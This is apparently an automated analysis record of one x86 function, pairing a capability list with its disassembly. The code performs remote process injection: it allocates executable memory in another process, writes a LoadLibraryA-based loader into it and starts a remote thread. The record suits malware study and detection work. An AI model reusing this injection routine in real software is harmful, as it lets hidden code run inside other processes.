Function at 0x4010d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject dll
Inject thread
Link many functions at runtime
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x368
mov eax, 0x4013b0
push ebx
push ebp
sub eax, 0x401330
push esi
push edi
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x37c]
xor edi, edi
cmp eax, edi
jne 0x401102
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x368
ret
push eax
push edi
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, edi
jne 0x401128
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x368
ret
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
push ecx
push edi
push str.DiscardAppType
push str.SystemCurrentControlSetServicesMWSecWalParameters
push 0x80000002
mov dword [esp + 0x28], edi
mov dword [esp + 0x30], 4
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x4011c7
push ebx
call fcn.00401000
mov esi, eax
add esp, 4
cmp esi, edi
je 0x4011c7
mov ebp, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push edi
lea edx, [esp + 0x20]
push 0x40
push edx
push esi
push ebx
call ebp
test eax, eax
je 0x4011c7
mov ecx, dword [esp + 0x58]
push edi
lea eax, [esp + 0x284]
push 0xf8
add ecx, esi
push eax
push ecx
push ebx
call ebp
test eax, eax
je 0x4011c7
mov eax, dword [esp + 0x10]
cmp eax, 0xffffffff
je 0x4011b3
mov edx, dword [esp + 0x2dc]
and edx, 0xffff
cmp eax, edx
jne 0x4011c7
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x368
ret
push 4
push 0x3000
push 0x224
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp eax, edi
mov dword [esp + 0x10], eax
je 0x40130e
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, eax
mov dword [esp + 0x5c], edi
mov ecx, 0x88
xor eax, eax
lea edi, [esp + 0x60]
lea edx, [esp + 0x78]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x380]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.LoadLibraryA
mov eax, ecx
mov esi, edi
mov edi, edx
push ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
push str.GetModuleHandleA
push ebp
mov dword [esp + 0x64], eax
call esi
push str.GetCurrentDirectoryA
push ebp
mov dword [esp + 0x68], eax
call esi
push str.SetCurrentDirectoryA
push ebp
mov dword [esp + 0x6c], eax
call esi
push str.lstrlenA
push ebp
mov dword [esp + 0x70], eax
call esi
push str.GetLastError
push ebp
mov dword [esp + 0x74], eax
call esi
push str.ExitThread
push ebp
mov dword [esp + 0x78], eax
call esi
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x401314
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea ecx, [esp + 0x60]
push 0x224
push ecx
push edx
push ebx
call edi
mov ebp, dword [esp + 0x14]
push 0x40
push 0x3000
push ebp
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x401314
push 0
push ebp
push 0x401330
push esi
push ebx
call edi
lea eax, [esp + 0x14]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x401314
cmp dword [esp + 0x14], 0x103
jne 0x401314
mov ecx, dword [esp + 0x10]
push 0
push 0
push ecx
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x40130e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401314
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x368
ret